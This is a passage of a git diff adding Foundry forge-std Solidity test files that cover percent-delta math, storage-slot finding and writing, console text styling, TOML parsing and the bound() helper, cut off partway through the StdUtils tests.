+        assertEq(stdMath.percentDelta(type(uint192).max, type(uint192).max), 0);
+        assertEq(stdMath.percentDelta(0, uint256(2500)), 1e18);
+        assertEq(stdMath.percentDelta(2500, uint256(2500)), 0);
+        assertEq(stdMath.percentDelta(5000, uint256(2500)), 1e18);
+        assertEq(stdMath.percentDelta(7500, uint256(2500)), 2e18);
+
+        vm.expectRevert(stdError.divisionError);
+        stdMathMock.exposed_percentDelta(uint256(1), 0);
+    }
+
+    function testFuzz_GetPercentDelta_Uint(uint192 a, uint192 b) external pure {
+        vm.assume(b != 0);
+        uint256 manualDelta;
+        if (a > b) {
+            manualDelta = a - b;
+        } else {
+            manualDelta = b - a;
+        }
+
+        uint256 manualPercentDelta = (manualDelta * 1e18) / b;
+        uint256 percentDelta = stdMath.percentDelta(a, b);
+
+        assertEq(percentDelta, manualPercentDelta);
+    }
+
+    function test_GetPercentDelta_Int() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdMathMock stdMathMock = new StdMathMock();
+
+        assertEq(stdMath.percentDelta(int256(0), int256(1337)), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), -1337), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int64).min), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int128).min), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int192).min), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int64).max), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int128).max), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int192).max), 1e18);
+
+        assertEq(stdMath.percentDelta(1337, int256(1337)), 0);
+        assertEq(stdMath.percentDelta(type(int192).max, type(int192).max), 0);
+        assertEq(stdMath.percentDelta(type(int192).min, type(int192).min), 0);
+
+        assertEq(stdMath.percentDelta(type(int192).min, type(int192).max), 2e18); // rounds the 1 wei diff down
+        assertEq(stdMath.percentDelta(type(int192).max, type(int192).min), 2e18 - 1); // rounds the 1 wei diff down
+        assertEq(stdMath.percentDelta(0, int256(2500)), 1e18);
+        assertEq(stdMath.percentDelta(2500, int256(2500)), 0);
+        assertEq(stdMath.percentDelta(5000, int256(2500)), 1e18);
+        assertEq(stdMath.percentDelta(7500, int256(2500)), 2e18);
+
+        vm.expectRevert(stdError.divisionError);
+        stdMathMock.exposed_percentDelta(int256(1), 0);
+    }
+
+    function testFuzz_GetPercentDelta_Int(int192 a, int192 b) external pure {
+        vm.assume(b != 0);
+        uint256 absA = getAbs(a);
+        uint256 absB = getAbs(b);
+        uint256 absDelta = absA > absB ? absA - absB : absB - absA;
+
+        uint256 manualDelta;
+        if ((a >= 0 && b >= 0) || (a < 0 && b < 0)) {
+            manualDelta = absDelta;
+        }
+        // (a < 0 && b >= 0) || (a >= 0 && b < 0)
+        else {
+            manualDelta = absA + absB;
+        }
+
+        uint256 manualPercentDelta = (manualDelta * 1e18) / absB;
+        uint256 percentDelta = stdMath.percentDelta(a, b);
+
+        assertEq(percentDelta, manualPercentDelta);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                   HELPERS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function getAbs(int256 a) private pure returns (uint256) {
+        if (a < 0) {
+            return a == type(int256).min ? uint256(type(int256).max) + 1 : uint256(-a);
+        }
+
+        return uint256(a);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdStorage.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdStorage.t.sol
new file mode 100644
index 000000000..17ff14585
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdStorage.t.sol
@@ -0,0 +1,464 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/StdStorage.sol';
+import '../src/Test.sol';
+
+contract StdStorageTest is Test {
+    using stdStorage for StdStorage;
+
+    StorageTest internal test;
+
+    function setUp() public {
+        test = new StorageTest();
+    }
+
+    function test_StorageHidden() public {
+        assertEq(uint256(keccak256('my.random.var')), stdstore.target(address(test)).sig('hidden()').find());
+    }
+
+    function test_StorageObvious() public {
+        assertEq(uint256(0), stdstore.target(address(test)).sig('exists()').find());
+    }
+
+    function test_StorageExtraSload() public {
+        assertEq(16, stdstore.target(address(test)).sig(test.extra_sload.selector).find());
+    }
+
+    function test_StorageCheckedWriteHidden() public {
+        stdstore.target(address(test)).sig(test.hidden.selector).checked_write(100);
+        assertEq(uint256(test.hidden()), 100);
+    }
+
+    function test_StorageCheckedWriteObvious() public {
+        stdstore.target(address(test)).sig(test.exists.selector).checked_write(100);
+        assertEq(test.exists(), 100);
+    }
+
+    function test_StorageCheckedWriteSignedIntegerHidden() public {
+        stdstore.target(address(test)).sig(test.hidden.selector).checked_write_int(-100);
+        assertEq(int256(uint256(test.hidden())), -100);
+    }
+
+    function test_StorageCheckedWriteSignedIntegerObvious() public {
+        stdstore.target(address(test)).sig(test.tG.selector).checked_write_int(-100);
+        assertEq(test.tG(), -100);
+    }
+
+    function test_StorageMapStructA() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.map_struct.selector).with_key(address(this)).depth(0).find();
+        assertEq(uint256(keccak256(abi.encode(address(this), 4))), slot);
+    }
+
+    function test_StorageMapStructB() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.map_struct.selector).with_key(address(this)).depth(1).find();
+        assertEq(uint256(keccak256(abi.encode(address(this), 4))) + 1, slot);
+    }
+
+    function test_StorageDeepMap() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.deep_map.selector).with_key(address(this)).with_key(address(this)).find();
+        assertEq(uint256(keccak256(abi.encode(address(this), keccak256(abi.encode(address(this), uint256(5)))))), slot);
+    }
+
+    function test_StorageCheckedWriteDeepMap() public {
+        stdstore.target(address(test)).sig(test.deep_map.selector).with_key(address(this)).with_key(address(this)).checked_write(100);
+        assertEq(100, test.deep_map(address(this), address(this)));
+    }
+
+    function test_StorageDeepMapStructA() public {
+        uint256 slot = stdstore
+            .target(address(test))
+            .sig(test.deep_map_struct.selector)
+            .with_key(address(this))
+            .with_key(address(this))
+            .depth(0)
+            .find();
+        assertEq(bytes32(uint256(keccak256(abi.encode(address(this), keccak256(abi.encode(address(this), uint256(6)))))) + 0), bytes32(slot));
+    }
+
+    function test_StorageDeepMapStructB() public {
+        uint256 slot = stdstore
+            .target(address(test))
+            .sig(test.deep_map_struct.selector)
+            .with_key(address(this))
+            .with_key(address(this))
+            .depth(1)
+            .find();
+        assertEq(bytes32(uint256(keccak256(abi.encode(address(this), keccak256(abi.encode(address(this), uint256(6)))))) + 1), bytes32(slot));
+    }
+
+    function test_StorageCheckedWriteDeepMapStructA() public {
+        stdstore.target(address(test)).sig(test.deep_map_struct.selector).with_key(address(this)).with_key(address(this)).depth(0).checked_write(100);
+        (uint256 a, uint256 b) = test.deep_map_struct(address(this), address(this));
+        assertEq(100, a);
+        assertEq(0, b);
+    }
+
+    function test_StorageCheckedWriteDeepMapStructB() public {
+        stdstore.target(address(test)).sig(test.deep_map_struct.selector).with_key(address(this)).with_key(address(this)).depth(1).checked_write(100);
+        (uint256 a, uint256 b) = test.deep_map_struct(address(this), address(this));
+        assertEq(0, a);
+        assertEq(100, b);
+    }
+
+    function test_StorageCheckedWriteMapStructA() public {
+        stdstore.target(address(test)).sig(test.map_struct.selector).with_key(address(this)).depth(0).checked_write(100);
+        (uint256 a, uint256 b) = test.map_struct(address(this));
+        assertEq(a, 100);
+        assertEq(b, 0);
+    }
+
+    function test_StorageCheckedWriteMapStructB() public {
+        stdstore.target(address(test)).sig(test.map_struct.selector).with_key(address(this)).depth(1).checked_write(100);
+        (uint256 a, uint256 b) = test.map_struct(address(this));
+        assertEq(a, 0);
+        assertEq(b, 100);
+    }
+
+    function test_StorageStructA() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.basic.selector).depth(0).find();
+        assertEq(uint256(7), slot);
+    }
+
+    function test_StorageStructB() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.basic.selector).depth(1).find();
+        assertEq(uint256(7) + 1, slot);
+    }
+
+    function test_StorageCheckedWriteStructA() public {
+        stdstore.target(address(test)).sig(test.basic.selector).depth(0).checked_write(100);
+        (uint256 a, uint256 b) = test.basic();
+        assertEq(a, 100);
+        assertEq(b, 1337);
+    }
+
+    function test_StorageCheckedWriteStructB() public {
+        stdstore.target(address(test)).sig(test.basic.selector).depth(1).checked_write(100);
+        (uint256 a, uint256 b) = test.basic();
+        assertEq(a, 1337);
+        assertEq(b, 100);
+    }
+
+    function test_StorageMapAddrFound() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.map_addr.selector).with_key(address(this)).find();
+        assertEq(uint256(keccak256(abi.encode(address(this), uint256(1)))), slot);
+    }
+
+    function test_StorageMapAddrRoot() public {
+        (uint256 slot, bytes32 key) = stdstore.target(address(test)).sig(test.map_addr.selector).with_key(address(this)).parent();
+        assertEq(address(uint160(uint256(key))), address(this));
+        assertEq(uint256(1), slot);
+        slot = stdstore.target(address(test)).sig(test.map_addr.selector).with_key(address(this)).root();
+        assertEq(uint256(1), slot);
+    }
+
+    function test_StorageMapUintFound() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.map_uint.selector).with_key(100).find();
+        assertEq(uint256(keccak256(abi.encode(100, uint256(2)))), slot);
+    }
+
+    function test_StorageCheckedWriteMapUint() public {
+        stdstore.target(address(test)).sig(test.map_uint.selector).with_key(100).checked_write(100);
+        assertEq(100, test.map_uint(100));
+    }
+
+    function test_StorageCheckedWriteMapAddr() public {
+        stdstore.target(address(test)).sig(test.map_addr.selector).with_key(address(this)).checked_write(100);
+        assertEq(100, test.map_addr(address(this)));
+    }
+
+    function test_StorageCheckedWriteMapBool() public {
+        stdstore.target(address(test)).sig(test.map_bool.selector).with_key(address(this)).checked_write(true);
+        assertTrue(test.map_bool(address(this)));
+    }
+
+    function testFuzz_StorageCheckedWriteMapPacked(address addr, uint128 value) public {
+        stdstore.enable_packed_slots().target(address(test)).sig(test.read_struct_lower.selector).with_key(addr).checked_write(value);
+        assertEq(test.read_struct_lower(addr), value);
+
+        stdstore.enable_packed_slots().target(address(test)).sig(test.read_struct_upper.selector).with_key(addr).checked_write(value);
+        assertEq(test.read_struct_upper(addr), value);
+    }
+
+    function test_StorageCheckedWriteMapPackedFullSuccess() public {
+        uint256 full = test.map_packed(address(1337));
+        // keep upper 128, set lower 128 to 1337
+        full = (full & (uint256((1 << 128) - 1) << 128)) | 1337;
+        stdstore.target(address(test)).sig(test.map_packed.selector).with_key(address(uint160(1337))).checked_write(full);
+        assertEq(1337, test.read_struct_lower(address(1337)));
+    }
+
+    function testFail_StorageConst() public {
+        // vm.expectRevert(abi.encodeWithSignature("NotStorage(bytes4)", bytes4(keccak256("const()"))));
+        stdstore.target(address(test)).sig('const()').find();
+    }
+
+    function testFuzz_StorageNativePack(uint248 val1, uint248 val2, bool boolVal1, bool boolVal2) public {
+        stdstore.enable_packed_slots().target(address(test)).sig(test.tA.selector).checked_write(val1);
+        stdstore.enable_packed_slots().target(address(test)).sig(test.tB.selector).checked_write(boolVal1);
+        stdstore.enable_packed_slots().target(address(test)).sig(test.tC.selector).checked_write(boolVal2);
+        stdstore.enable_packed_slots().target(address(test)).sig(test.tD.selector).checked_write(val2);
+
+        assertEq(test.tA(), val1);
+        assertEq(test.tB(), boolVal1);
+        assertEq(test.tC(), boolVal2);
+        assertEq(test.tD(), val2);
+    }
+
+    function test_StorageReadBytes32() public {
+        bytes32 val = stdstore.target(address(test)).sig(test.tE.selector).read_bytes32();
+        assertEq(val, hex'1337');
+    }
+
+    function test_StorageReadBool_False() public {
+        bool val = stdstore.target(address(test)).sig(test.tB.selector).read_bool();
+        assertEq(val, false);
+    }
+
+    function test_StorageReadBool_True() public {
+        bool val = stdstore.target(address(test)).sig(test.tH.selector).read_bool();
+        assertEq(val, true);
+    }
+
+    function test_StorageReadBool_Revert() public {
+        vm.expectRevert('stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool.');
+        this.readNonBoolValue();
+    }
+
+    function readNonBoolValue() public {
+        stdstore.target(address(test)).sig(test.tE.selector).read_bool();
+    }
+
+    function test_StorageReadAddress() public {
+        address val = stdstore.target(address(test)).sig(test.tF.selector).read_address();
+        assertEq(val, address(1337));
+    }
+
+    function test_StorageReadUint() public {
+        uint256 val = stdstore.target(address(test)).sig(test.exists.selector).read_uint();
+        assertEq(val, 1);
+    }
+
+    function test_StorageReadInt() public {
+        int256 val = stdstore.target(address(test)).sig(test.tG.selector).read_int();
+        assertEq(val, type(int256).min);
+    }
+
+    function testFuzzPacked(uint256 val, uint8 elemToGet) public {
+        // This function tries an assortment of packed slots, shifts meaning number of elements
+        // that are packed. Shiftsizes are the size of each element, i.e. 8 means a data type that is 8 bits, 16 == 16 bits, etc.
+        // Combined, these determine how a slot is packed. Making it random is too hard to avoid global rejection limit
+        // and make it performant.
+
+        // change the number of shifts
+        for (uint256 i = 1; i < 5; i++) {
+            uint256 shifts = i;
+
+            elemToGet = uint8(bound(elemToGet, 0, shifts - 1));
+
+            uint256[] memory shiftSizes = new uint256[](shifts);
+            for (uint256 j; j < shifts; j++) {
+                shiftSizes[j] = 8 * (j + 1);
+            }
+
+            test.setRandomPacking(val);
+
+            uint256 leftBits;
+            uint256 rightBits;
+            for (uint256 j; j < shiftSizes.length; j++) {
+                if (j < elemToGet) {
+                    leftBits += shiftSizes[j];
+                } else if (elemToGet != j) {
+                    rightBits += shiftSizes[j];
+                }
+            }
+
+            // we may have some right bits unaccounted for
+            leftBits += 256 - (leftBits + shiftSizes[elemToGet] + rightBits);
+            // clear left bits, then clear right bits and realign
+            uint256 expectedValToRead = (val << leftBits) >> (leftBits + rightBits);
+
+            uint256 readVal = stdstore
+                .target(address(test))
+                .enable_packed_slots()
+                .sig('getRandomPacked(uint8,uint8[],uint8)')
+                .with_calldata(abi.encode(shifts, shiftSizes, elemToGet))
+                .read_uint();
+
+            assertEq(readVal, expectedValToRead);
+        }
+    }
+
+    function testFuzzPacked2(uint256 nvars, uint256 seed) public {
+        // Number of random variables to generate.
+        nvars = bound(nvars, 1, 20);
+
+        // This will decrease as we generate values in the below loop.
+        uint256 bitsRemaining = 256;
+
+        // Generate a random value and size for each variable.
+        uint256[] memory vals = new uint256[](nvars);
+        uint256[] memory sizes = new uint256[](nvars);
+        uint256[] memory offsets = new uint256[](nvars);
+
+        for (uint256 i = 0; i < nvars; i++) {
+            // Generate a random value and size.
+            offsets[i] = i == 0 ? 0 : offsets[i - 1] + sizes[i - 1];
+
+            uint256 nvarsRemaining = nvars - i;
+            uint256 maxVarSize = bitsRemaining - nvarsRemaining + 1;
+            sizes[i] = bound(uint256(keccak256(abi.encodePacked(seed, i + 256))), 1, maxVarSize);
+            bitsRemaining -= sizes[i];
+
+            uint256 maxVal;
+            uint256 varSize = sizes[i];
+            assembly {
+                // mask = (1 << varSize) - 1
+                maxVal := sub(shl(varSize, 1), 1)
+            }
+            vals[i] = bound(uint256(keccak256(abi.encodePacked(seed, i))), 0, maxVal);
+        }
+
+        // Pack all values into the slot.
+        for (uint256 i = 0; i < nvars; i++) {
+            stdstore
+                .enable_packed_slots()
+                .target(address(test))
+                .sig('getRandomPacked(uint256,uint256)')
+                .with_key(sizes[i])
+                .with_key(offsets[i])
+                .checked_write(vals[i]);
+        }
+
+        // Verify the read data matches.
+        for (uint256 i = 0; i < nvars; i++) {
+            uint256 readVal = stdstore
+                .enable_packed_slots()
+                .target(address(test))
+                .sig('getRandomPacked(uint256,uint256)')
+                .with_key(sizes[i])
+                .with_key(offsets[i])
+                .read_uint();
+
+            uint256 retVal = test.getRandomPacked(sizes[i], offsets[i]);
+
+            assertEq(readVal, vals[i]);
+            assertEq(retVal, vals[i]);
+        }
+    }
+}
+
+contract StorageTest {
+    uint256 public exists = 1;
+    mapping(address => uint256) public map_addr;
+    mapping(uint256 => uint256) public map_uint;
+    mapping(address => uint256) public map_packed;
+    mapping(address => UnpackedStruct) public map_struct;
+    mapping(address => mapping(address => uint256)) public deep_map;
+    mapping(address => mapping(address => UnpackedStruct)) public deep_map_struct;
+    UnpackedStruct public basic;
+
+    uint248 public tA;
+    bool public tB;
+
+    bool public tC = false;
+    uint248 public tD = 1;
+
+    struct UnpackedStruct {
+        uint256 a;
+        uint256 b;
+    }
+
+    mapping(address => bool) public map_bool;
+
+    bytes32 public tE = hex'1337';
+    address public tF = address(1337);
+    int256 public tG = type(int256).min;
+    bool public tH = true;
+    bytes32 private tI = ~bytes32(hex'1337');
+
+    uint256 randomPacking;
+
+    constructor() {
+        basic = UnpackedStruct({a: 1337, b: 1337});
+
+        uint256 two = (1 << 128) | 1;
+        map_packed[msg.sender] = two;
+        map_packed[address(uint160(1337))] = 1 << 128;
+    }
+
+    function read_struct_upper(address who) public view returns (uint256) {
+        return map_packed[who] >> 128;
+    }
+
+    function read_struct_lower(address who) public view returns (uint256) {
+        return map_packed[who] & ((1 << 128) - 1);
+    }
+
+    function hidden() public view returns (bytes32 t) {
+        bytes32 slot = keccak256('my.random.var');
+        /// @solidity memory-safe-assembly
+        assembly {
+            t := sload(slot)
+        }
+    }
+
+    function const() public pure returns (bytes32 t) {
+        t = bytes32(hex'1337');
+    }
+
+    function extra_sload() public view returns (bytes32 t) {
+        // trigger read on slot `tE`, and make a staticcall to make sure compiler doesn't optimize this SLOAD away
+        assembly {
+            pop(staticcall(gas(), sload(tE.slot), 0, 0, 0, 0))
+        }
+        t = tI;
+    }
+
+    function setRandomPacking(uint256 val) public {
+        randomPacking = val;
+    }
+
+    function _getMask(uint256 size) internal pure returns (uint256 mask) {
+        assembly {
+            // mask = (1 << size) - 1
+            mask := sub(shl(size, 1), 1)
+        }
+    }
+
+    function setRandomPacking(uint256 val, uint256 size, uint256 offset) public {
+        // Generate mask based on the size of the value
+        uint256 mask = _getMask(size);
+        // Zero out all bits for the word we're about to set
+        uint256 cleanedWord = randomPacking & ~(mask << offset);
+        // Place val in the correct spot of the cleaned word
+        randomPacking = cleanedWord | (val << offset);
+    }
+
+    function getRandomPacked(uint256 size, uint256 offset) public view returns (uint256) {
+        // Generate mask based on the size of the value
+        uint256 mask = _getMask(size);
+        // Shift to place the bits in the correct position, and use mask to zero out remaining bits
+        return (randomPacking >> offset) & mask;
+    }
+
+    function getRandomPacked(uint8 shifts, uint8[] memory shiftSizes, uint8 elem) public view returns (uint256) {
+        require(elem < shifts, '!elem');
+        uint256 leftBits;
+        uint256 rightBits;
+
+        for (uint256 i; i < shiftSizes.length; i++) {
+            if (i < elem) {
+                leftBits += shiftSizes[i];
+            } else if (elem != i) {
+                rightBits += shiftSizes[i];
+            }
+        }
+
+        // we may have some right bits unaccounted for
+        leftBits += 256 - (leftBits + shiftSizes[elem] + rightBits);
+
+        // clear left bits, then clear right bits and realign
+        return (randomPacking << leftBits) >> (leftBits + rightBits);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdStyle.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdStyle.t.sol
new file mode 100644
index 000000000..e2031a817
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdStyle.t.sol
@@ -0,0 +1,110 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdStyleTest is Test {
+    function test_StyleColor() public pure {
+        console2.log(StdStyle.red('StdStyle.red String Test'));
+        console2.log(StdStyle.red(uint256(10e18)));
+        console2.log(StdStyle.red(int256(-10e18)));
+        console2.log(StdStyle.red(true));
+        console2.log(StdStyle.red(address(0)));
+        console2.log(StdStyle.redBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.redBytes32('StdStyle.redBytes32'));
+        console2.log(StdStyle.green('StdStyle.green String Test'));
+        console2.log(StdStyle.green(uint256(10e18)));
+        console2.log(StdStyle.green(int256(-10e18)));
+        console2.log(StdStyle.green(true));
+        console2.log(StdStyle.green(address(0)));
+        console2.log(StdStyle.greenBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.greenBytes32('StdStyle.greenBytes32'));
+        console2.log(StdStyle.yellow('StdStyle.yellow String Test'));
+        console2.log(StdStyle.yellow(uint256(10e18)));
+        console2.log(StdStyle.yellow(int256(-10e18)));
+        console2.log(StdStyle.yellow(true));
+        console2.log(StdStyle.yellow(address(0)));
+        console2.log(StdStyle.yellowBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.yellowBytes32('StdStyle.yellowBytes32'));
+        console2.log(StdStyle.blue('StdStyle.blue String Test'));
+        console2.log(StdStyle.blue(uint256(10e18)));
+        console2.log(StdStyle.blue(int256(-10e18)));
+        console2.log(StdStyle.blue(true));
+        console2.log(StdStyle.blue(address(0)));
+        console2.log(StdStyle.blueBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.blueBytes32('StdStyle.blueBytes32'));
+        console2.log(StdStyle.magenta('StdStyle.magenta String Test'));
+        console2.log(StdStyle.magenta(uint256(10e18)));
+        console2.log(StdStyle.magenta(int256(-10e18)));
+        console2.log(StdStyle.magenta(true));
+        console2.log(StdStyle.magenta(address(0)));
+        console2.log(StdStyle.magentaBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.magentaBytes32('StdStyle.magentaBytes32'));
+        console2.log(StdStyle.cyan('StdStyle.cyan String Test'));
+        console2.log(StdStyle.cyan(uint256(10e18)));
+        console2.log(StdStyle.cyan(int256(-10e18)));
+        console2.log(StdStyle.cyan(true));
+        console2.log(StdStyle.cyan(address(0)));
+        console2.log(StdStyle.cyanBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.cyanBytes32('StdStyle.cyanBytes32'));
+    }
+
+    function test_StyleFontWeight() public pure {
+        console2.log(StdStyle.bold('StdStyle.bold String Test'));
+        console2.log(StdStyle.bold(uint256(10e18)));
+        console2.log(StdStyle.bold(int256(-10e18)));
+        console2.log(StdStyle.bold(address(0)));
+        console2.log(StdStyle.bold(true));
+        console2.log(StdStyle.boldBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.boldBytes32('StdStyle.boldBytes32'));
+        console2.log(StdStyle.dim('StdStyle.dim String Test'));
+        console2.log(StdStyle.dim(uint256(10e18)));
+        console2.log(StdStyle.dim(int256(-10e18)));
+        console2.log(StdStyle.dim(address(0)));
+        console2.log(StdStyle.dim(true));
+        console2.log(StdStyle.dimBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.dimBytes32('StdStyle.dimBytes32'));
+        console2.log(StdStyle.italic('StdStyle.italic String Test'));
+        console2.log(StdStyle.italic(uint256(10e18)));
+        console2.log(StdStyle.italic(int256(-10e18)));
+        console2.log(StdStyle.italic(address(0)));
+        console2.log(StdStyle.italic(true));
+        console2.log(StdStyle.italicBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.italicBytes32('StdStyle.italicBytes32'));
+        console2.log(StdStyle.underline('StdStyle.underline String Test'));
+        console2.log(StdStyle.underline(uint256(10e18)));
+        console2.log(StdStyle.underline(int256(-10e18)));
+        console2.log(StdStyle.underline(address(0)));
+        console2.log(StdStyle.underline(true));
+        console2.log(StdStyle.underlineBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.underlineBytes32('StdStyle.underlineBytes32'));
+        console2.log(StdStyle.inverse('StdStyle.inverse String Test'));
+        console2.log(StdStyle.inverse(uint256(10e18)));
+        console2.log(StdStyle.inverse(int256(-10e18)));
+        console2.log(StdStyle.inverse(address(0)));
+        console2.log(StdStyle.inverse(true));
+        console2.log(StdStyle.inverseBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.inverseBytes32('StdStyle.inverseBytes32'));
+    }
+
+    function test_StyleCombined() public pure {
+        console2.log(StdStyle.red(StdStyle.bold('Red Bold String Test')));
+        console2.log(StdStyle.green(StdStyle.dim(uint256(10e18))));
+        console2.log(StdStyle.yellow(StdStyle.italic(int256(-10e18))));
+        console2.log(StdStyle.blue(StdStyle.underline(address(0))));
+        console2.log(StdStyle.magenta(StdStyle.inverse(true)));
+    }
+
+    function test_StyleCustom() public pure {
+        console2.log(h1('Custom Style 1'));
+        console2.log(h2('Custom Style 2'));
+    }
+
+    function h1(string memory a) private pure returns (string memory) {
+        return StdStyle.cyan(StdStyle.inverse(StdStyle.bold(a)));
+    }
+
+    function h2(string memory a) private pure returns (string memory) {
+        return StdStyle.magenta(StdStyle.bold(StdStyle.underline(a)));
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdToml.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdToml.t.sol
new file mode 100644
index 000000000..3a55bfe64
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdToml.t.sol
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdTomlTest is Test {
+    using stdToml for string;
+
+    string root;
+    string path;
+
+    function setUp() public {
+        root = vm.projectRoot();
+        path = string.concat(root, '/test/fixtures/test.toml');
+    }
+
+    struct SimpleToml {
+        uint256 a;
+        string b;
+    }
+
+    struct NestedToml {
+        uint256 a;
+        string b;
+        SimpleToml c;
+    }
+
+    function test_readToml() public view {
+        string memory json = vm.readFile(path);
+        assertEq(json.readUint('.a'), 123);
+    }
+
+    function test_writeToml() public {
+        string memory json = 'json';
+        json.serialize('a', uint256(123));
+        string memory semiFinal = json.serialize('b', string('test'));
+        string memory finalJson = json.serialize('c', semiFinal);
+        finalJson.write(path);
+
+        string memory toml = vm.readFile(path);
+        bytes memory data = toml.parseRaw('$');
+        NestedToml memory decodedData = abi.decode(data, (NestedToml));
+
+        assertEq(decodedData.a, 123);
+        assertEq(decodedData.b, 'test');
+        assertEq(decodedData.c.a, 123);
+        assertEq(decodedData.c.b, 'test');
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdUtils.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdUtils.t.sol
new file mode 100644
index 000000000..3de9cce02
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdUtils.t.sol
@@ -0,0 +1,339 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdUtilsMock is StdUtils {
+    // We deploy a mock version so we can properly test expected reverts.
+    function exposed_getTokenBalances(address token, address[] memory addresses) external returns (uint256[] memory balances) {
+        return getTokenBalances(token, addresses);
+    }
+
+    function exposed_bound(int256 num, int256 min, int256 max) external pure returns (int256) {
+        return bound(num, min, max);
+    }
+
+    function exposed_bound(uint256 num, uint256 min, uint256 max) external pure returns (uint256) {
+        return bound(num, min, max);
+    }
+
+    function exposed_bytesToUint(bytes memory b) external pure returns (uint256) {
+        return bytesToUint(b);
+    }
+}
+
+contract StdUtilsTest is Test {
+    /*//////////////////////////////////////////////////////////////////////////
+                                     BOUND UINT
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_Bound() public pure {
+        assertEq(bound(uint256(5), 0, 4), 0);
+        assertEq(bound(uint256(0), 69, 69), 69);
+        assertEq(bound(uint256(0), 68, 69), 68);
+        assertEq(bound(uint256(10), 150, 190), 174);
+        assertEq(bound(uint256(300), 2800, 3200), 3107);
+        assertEq(bound(uint256(9999), 1337, 6666), 4669);
+    }
+
+    function test_Bound_WithinRange() public pure {
+        assertEq(bound(uint256(51), 50, 150), 51);
+        assertEq(bound(uint256(51), 50, 150), bound(bound(uint256(51), 50, 150), 50, 150));
+        assertEq(bound(uint256(149), 50, 150), 149);
+        assertEq(bound(uint256(149), 50, 150), bound(bound(uint256(149), 50, 150), 50, 150));
+    }
+
+    function test_Bound_EdgeCoverage() public pure {
+        assertEq(bound(uint256(0), 50, 150), 50);
+        assertEq(bound(uint256(1), 50, 150), 51);
+        assertEq(bound(uint256(2), 50, 150), 52);
+        assertEq(bound(uint256(3), 50, 150), 53);
+        assertEq(bound(type(uint256).max, 50, 150), 150);
+        assertEq(bound(type(uint256).max - 1, 50, 150), 149);
+        assertEq(bound(type(uint256).max - 2, 50, 150), 148);
+        assertEq(bound(type(uint256).max - 3, 50, 150), 147);
+    }
+
+    function test_Bound_DistributionIsEven(uint256 min, uint256 size) public pure {
+        size = (size % 100) + 1;
+        min = bound(min, UINT256_MAX / 2, UINT256_MAX / 2 + size);
+        uint256 max = min + size - 1;
+        uint256 result;
+
+        for (uint256 i = 1; i <= size * 4; ++i) {
+            // x > max
+            result = bound(max + i, min, max);
+            assertEq(result, min + ((i - 1) % size));
+            // x < min
+            result = bound(min - i, min, max);
+            assertEq(result, max - ((i - 1) % size));
+        }
+    }
+
+    function test_Bound(uint256 num, uint256 min, uint256 max) public pure {
+        if (min > max) (min, max) = (max, min);
+
+        uint256 result = bound(num, min, max);
+
+        assertGe(result, min);
+        assertLe(result, max);
+        assertEq(result, bound(result, min, max));
+        if (num >= min && num <= max) assertEq(result, num);
+    }
+
+    function test_BoundUint256Max() public pure {
+        assertEq(bound(0, type(uint256).max - 1, type(uint256).max), type(uint256).max - 1);
+        assertEq(bound(1, type(uint256).max - 1, type(uint256).max), type(uint256).max);
+    }
+
+    function test_CannotBoundMaxLessThanMin() public {
+        // We deploy a mock version so we can properly test the revert.
